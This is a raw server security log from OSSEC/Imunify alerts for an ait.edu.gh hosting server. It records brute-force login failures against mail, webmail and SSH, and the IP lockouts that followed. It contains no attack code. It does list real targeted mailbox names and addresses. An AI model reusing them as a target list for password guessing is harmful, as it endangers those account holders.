Jan 26 19:29:56 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.223.192.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.223.192.254
description:
2025-01-26 19:29:58 dovecot_plain authenticator failed for ([200.223.192.254]) [200.223.192.254]:47376: 535 Incorrect authentication data (set_id=mumuni@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.67.186.253
description:
2025-01-26 19:29:54 dovecot_plain authenticator failed for ([222.67.186.253]) [222.67.186.253]:52976: 535 Incorrect authentication data (set_id=ads20b00337y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.31.6.109
description:
Jan 26 19:29:29 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.31.6.109 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.31.6.109
description:
2025-01-26 19:29:31 dovecot_plain authenticator failed for 95-31-6-109.static.corbina.ru [95.31.6.109]:58332: 535 Incorrect authentication data (set_id=ads18b00134y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.67.186.253
description:
Jan 26 19:29:52 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.67.186.253 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.81.213.46
description:
2025-01-26 19:29:26 dovecot_plain authenticator failed for ([203.81.213.46]) [203.81.213.46]:42330: 535 Incorrect authentication data (set_id=ads20b00337y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.89.91.36
description:
[2025-01-26 19:29:23 +0100] info [webmaild] 190.89.91.36 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.197.152.3
description:
Jan 26 19:29:36 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.197.152.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.0.19.108
description:
Jan 26 19:29:36 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.0.19.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.35.117.94
description:
Jan 26 19:29:58 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.35.117.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.0.19.108
description:
2025-01-26 19:29:38 dovecot_plain authenticator failed for ([149.0.19.108]) [149.0.19.108]:38810: 535 Incorrect authentication data (set_id=ads18b00134y)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 47.128.111.94
description:
47.128.111.94 - - [26/Jan/2025:19:30:13 +0100] "GET /wp-content/uploads/sites/6/2022/05/Smart-Logo.png HTTP/2.0" 415 176 lms.aitsmartschool.com "https://lms.aitsmartschool.com/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=5657494" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.111.94


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 62.217.152.81
description:
[2025-01-26 19:30:54 +0100] info [webmaild] 62.217.152.81 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.178.110.213
description:
Jan 26 19:30:12 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.178.110.213 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.178.110.213
description:
2025-01-26 19:30:14 dovecot_login authenticator failed for ([195.178.110.213]) [195.178.110.213]:64032: 535 Incorrect authentication data (set_id=test1)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.187.50.49
description:
Jan 26 19:30:24 ait sshd[2412080]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.187.50.49  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.158.200.215
description:
[2025-01-26 19:30:55 +0100] info [webmaild] 186.158.200.215 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.9.38.92
description:
Jan 26 19:30:58 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.9.38.92 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.9.38.92
description:
2025-01-26 19:31:00 dovecot_plain authenticator failed for ([59.9.38.92]) [59.9.38.92]:36248: 535 Incorrect authentication data (set_id=ads69b66600y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.10.195.198
description:
Jan 26 19:30:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.10.195.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.195.198
description:
2025-01-26 19:30:09 dovecot_plain authenticator failed for ([221.10.195.198]) [221.10.195.198]:42495: 535 Incorrect authentication data (set_id=mumuni)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.187.50.49
description:
Jan 26 19:30:24 ait sshd[2412080]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.187.50.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.123.174.208
description:
Jan 26 19:31:08 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.123.174.208 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.29.176.41
description:
2025-01-26 19:31:35 dovecot_plain authenticator failed for 41.red-80-29-176.dynamicip.rima-tde.net [80.29.176.41]:38817: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.222.90.178
description:
2025-01-26 19:31:22 dovecot_plain authenticator failed for ([200.222.80.81]) [200.222.90.178]:51860: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.151.46.98
description:
Jan 26 19:31:32 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.151.46.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.151.46.98
description:
2025-01-26 19:31:34 dovecot_plain authenticator failed for ([92.202.82.102]) [45.151.46.98]:26338: 535 Incorrect authentication data (set_id=ug20s1120028@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.178.110.210
description:
2025-01-26 19:31:33 dovecot_login authenticator failed for ([195.178.110.210]) [195.178.110.210]:58611: 535 Incorrect authentication data (set_id=test)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.251.121.70
description:
Jan 26 19:31:43 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.251.121.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.123.174.208
description:
2025-01-26 19:31:10 dovecot_plain authenticator failed for ([183.56.179.201]) [119.123.174.208]:12096: 535 Incorrect authentication data (set_id=ads69b66600y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.222.90.178
description:
Jan 26 19:31:20 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.222.90.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.188.149.243
description:
Jan 26 19:31:49 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.188.149.243 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.251.121.70
description:
2025-01-26 19:31:45 dovecot_plain authenticator failed for works.ssc-gr.info [160.251.121.70]:53128: 535 Incorrect authentication data (set_id=ug20s1120028)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.178.110.210
description:
Jan 26 19:31:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.178.110.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.29.176.41
description:
Jan 26 19:31:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.29.176.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.188.149.243
description:
2025-01-26 19:31:51 dovecot_plain authenticator failed for (scz-181-188-149-00243.tigo.bo) [181.188.149.243]:36576: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.198.138.185
description:
Jan 26 19:32:53 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.198.138.185 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.198.138.185
description:
2025-01-26 19:32:55 dovecot_plain authenticator failed for ([120.198.138.185]) [120.198.138.185]:40096: 535 Incorrect authentication data (set_id=ads21b00153y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.198.101.47
description:
Jan 26 19:33:00 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.198.101.47 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.0.157.78
description:
2025-01-26 19:32:09 dovecot_plain authenticator failed for c-73-0-157-78.hsd1.fl.comcast.net [73.0.157.78]:57762: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.198.101.47
description:
2025-01-26 19:33:02 dovecot_plain authenticator failed for ([195.198.101.47]) [195.198.101.47]:39790: 535 Incorrect authentication data (set_id=ads21b00153y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.0.157.78
description:
Jan 26 19:32:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.0.157.78 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 197.3.86.173
description:
[2025-01-26 19:32:31 +0100] info [webmaild] 197.3.86.173 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 193.142.159.12
description:
[2025-01-26 19:33:34 +0100] info [webmaild] 193.142.159.12 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.234
description:
2025-01-26 19:33:51 dovecot_plain authenticator failed for 110-25-105-234.adsl.fetnet.net [110.25.105.234]:55527: 535 Incorrect authentication data (set_id=ads20a00173y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.57.122.189
description:
Jan 26 19:33:41 ait sshd[2413284]: pam_imunify(sshd:auth): [IM360_RBL] The IP 2.57.122.189 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 2.57.122.189
description:
Jan 26 19:33:41 ait sshd[2413284]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=2.57.122.189


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.25.105.234
description:
Jan 26 19:33:49 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.25.105.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.182.11.126
description:
2025-01-26 19:35:29 dovecot_plain authenticator failed for ([220.182.11.126]) [220.182.11.126]:57513: 535 Incorrect authentication data (set_id=eng16b00239y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.211.250.122
description:
Jan 26 19:35:15 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.211.250.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.211.250.122
description:
2025-01-26 19:35:17 dovecot_plain authenticator failed for ([190.211.250.118]) [190.211.250.122]:42782: 535 Incorrect authentication data (set_id=eng16b00239y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.182.11.126
description:
Jan 26 19:35:27 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.182.11.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
description:
2025-01-26 19:36:26 dovecot_login authenticator failed for ([125.139.124.120]) [125.139.124.120]:57618: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.139.124.120
description:
Jan 26 19:36:24 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.139.124.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.114.140.70
description:
Jan 26 19:36:37 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.114.140.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.130.181.81
description:
2025-01-26 19:36:12 dovecot_plain authenticator failed for ([85.130.181.81]) [85.130.181.81]:59249: 535 Incorrect authentication data (set_id=torgbor@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.222.56
description:
Jan 26 19:36:19 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.222.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.114.140.70
description:
2025-01-26 19:36:39 dovecot_login authenticator failed for (colegiomurialdo.csl.gvt.net.br) [189.114.140.70]:41578: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.130.181.81
description:
Jan 26 19:36:10 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.130.181.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.56
description:
2025-01-26 19:36:21 dovecot_plain authenticator failed for ([178.178.222.56]) [178.178.222.56]:49350: 535 Incorrect authentication data (set_id=torgbor)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.86.200.16
description:
Jan 26 19:36:56 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.86.200.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.86.200.16
description:
2025-01-26 19:36:58 dovecot_plain authenticator failed for (16.200.86.116.starhub.net.sg) [116.86.200.16]:44687: 535 Incorrect authentication data (set_id=ads88a00088y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.15.84.229
description:
Jan 26 19:37:35 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.15.84.229 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.15.84.229
description:
2025-01-26 19:37:37 dovecot_login authenticator failed for ([112.15.84.229]) [112.15.84.229]:64056: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 185.192.162.45
description:
[2025-01-26 19:37:42 +0100] info [webmaild] 185.192.162.45 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.123.78.13
description:
Jan 26 19:37:04 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.123.78.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.123.78.13
description:
2025-01-26 19:37:06 dovecot_plain authenticator failed for (12-78-123-185.host.cirex.ru) [185.123.78.13]:39239: 535 Incorrect authentication data (set_id=ads88a00088y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.31.249.131
description:
2025-01-26 19:37:23 dovecot_login authenticator failed for ([60.31.249.131]) [60.31.249.131]:42819: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.31.249.131
description:
Jan 26 19:37:21 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.31.249.131 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 36.108.172.220
description:
Jan 26 19:38:09 ait sshd[2415488]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=36.108.172.220


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 26 19:38:26 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.21.141.54
description:
Jan 26 19:38:43 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.21.141.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.21.141.54
description:
2025-01-26 19:38:45 dovecot_plain authenticator failed for ([125.21.141.54]) [125.21.141.54]:59923: 535 Incorrect authentication data (set_id=ads17b00155y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.168.26.166
description:
Jan 26 19:38:17 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.168.26.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.52.131.183
description:
Jan 26 19:38:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.52.131.183 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.108.172.220
description:
Jan 26 19:38:09 ait sshd[2415488]: pam_imunify(sshd:auth): [IM360_RBL] The IP 36.108.172.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.168.26.166
description:
2025-01-26 19:38:19 dovecot_plain authenticator failed for syn-024-168-026-166.res.spectrum.com [24.168.26.166]:32900: 535 Incorrect authentication data (set_id=ads1700155y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.52.131.183
description:
2025-01-26 19:38:09 dovecot_plain authenticator failed for ([211.52.131.183]) [211.52.131.183]:55151: 535 Incorrect authentication data (set_id=ads1700155y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.89.116.5
description:
Jan 26 19:38:57 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.89.116.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.29.176.41
description:
Jan 26 19:39:08 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.29.176.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.35.218.58
description:
Jan 26 19:39:15 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.35.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 26 19:39:47 ait sshd[2416136]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.33.44.12
description:
2025-01-26 19:39:21 dovecot_plain authenticator failed for ([209.33.44.12]) [209.33.44.12]:55994: 535 Incorrect authentication data (set_id=ads14b00350y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.150.87.237
description:
Jan 26 19:39:25 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.150.87.237 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 26 19:39:47 ait sshd[2416136]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.89.116.5
description:
2025-01-26 19:38:59 dovecot_plain authenticator failed for ([70.89.116.5]) [70.89.116.5]:35059: 535 Incorrect authentication data (set_id=ads17b00155y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.118.126.99
description:
Jan 26 19:39:01 ait sshd[2415889]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.118.126.99  user=gvu


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.29.176.41
description:
2025-01-26 19:39:10 dovecot_plain authenticator failed for 41.red-80-29-176.dynamicip.rima-tde.net [80.29.176.41]:49767: 535 Incorrect authentication data (set_id=ads14b00350y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.33.44.12
description:
Jan 26 19:39:19 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.33.44.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 26 19:39:26 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.118.126.99
description:
Jan 26 19:39:01 ait sshd[2415889]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.118.126.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.35.218.58
description:
2025-01-26 19:39:17 dovecot_plain authenticator failed for ([14.35.218.58]) [14.35.218.58]:36883: 535 Incorrect authentication data (set_id=eng29b00328y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.150.87.237
description:
2025-01-26 19:39:27 dovecot_plain authenticator failed for ([61.150.87.237]) [61.150.87.237]:38574: 535 Incorrect authentication data (set_id=eng29b00328y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.215.87.163
description:
Jan 26 19:41:53 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.215.87.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.126.196.67
description:
Jan 26 19:40:59 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.126.196.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.126.196.67
description:
2025-01-26 19:41:01 dovecot_login authenticator failed for (cli-5b7ec443.ast.adamo.es) [91.126.196.67]:37176: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.180
description:
Jan 26 19:41:10 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.180 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.180
description:
2025-01-26 19:41:12 dovecot_login authenticator failed for ([102.53.15.180]) [102.53.15.180]:51708: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.46.216.125
description:
2025-01-26 19:41:18 dovecot_plain authenticator failed for (nl125-twinpalm-216-lk.zamnet.zm) [196.46.216.125]:52472: 535 Incorrect authentication data (set_id=ug88m8880009@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.186.220.42
description:
2025-01-26 19:41:28 dovecot_plain authenticator failed for ([211.186.220.42]) [211.186.220.42]:38226: 535 Incorrect authentication data (set_id=ug88m8880009)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 26 19:41:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.46.216.125
description:
Jan 26 19:41:16 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.46.216.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.57.122.189
description:
Jan 26 19:41:39 ait sshd[2417166]: pam_imunify(sshd:auth): [IM360_RBL] The IP 2.57.122.189 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 2.57.122.189
description:
Jan 26 19:41:39 ait sshd[2417166]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=2.57.122.189


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 182.61.10.212
description:
Jan 26 19:40:59 ait sshd[2416880]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=182.61.10.212


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.10.212
description:
Jan 26 19:40:59 ait sshd[2416880]: pam_imunify(sshd:auth): [IM360_RBL] The IP 182.61.10.212 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.186.220.42
description:
Jan 26 19:41:26 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.186.220.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 26 19:42:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.72.14.152
description:
Jan 26 19:42:09 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.72.14.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.215.87.163
description:
2025-01-26 19:41:55 dovecot_plain authenticator failed for ([221.215.87.163]) [221.215.87.163]:34702: 535 Incorrect authentication data (set_id=okyere@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.72.14.152
description:
2025-01-26 19:42:11 dovecot_plain authenticator failed for ([76.72.14.152]) [76.72.14.152]:53422: 535 Incorrect authentication data (set_id=okyere)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.59.235
description:
47.128.59.235 - - [26/Jan/2025:19:43:42 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=8701910 HTTP/2.0" 302 0 gou.university "https://gou.university/cgi-sys/suspendedpage.cgi?filter_course-language=121%2C95%2C99%2C120%2C183%2C198&filtering=1&rating_filter=5" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.59.235


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.178.110.65
description:
Jan 26 19:43:51 ait sshd[2417933]: pam_imunify(sshd:auth): [IM360_RBL] The IP 195.178.110.65 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 46.237.110.72
description:
[2025-01-26 19:43:23 +0100] info [webmaild] 46.237.110.72 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
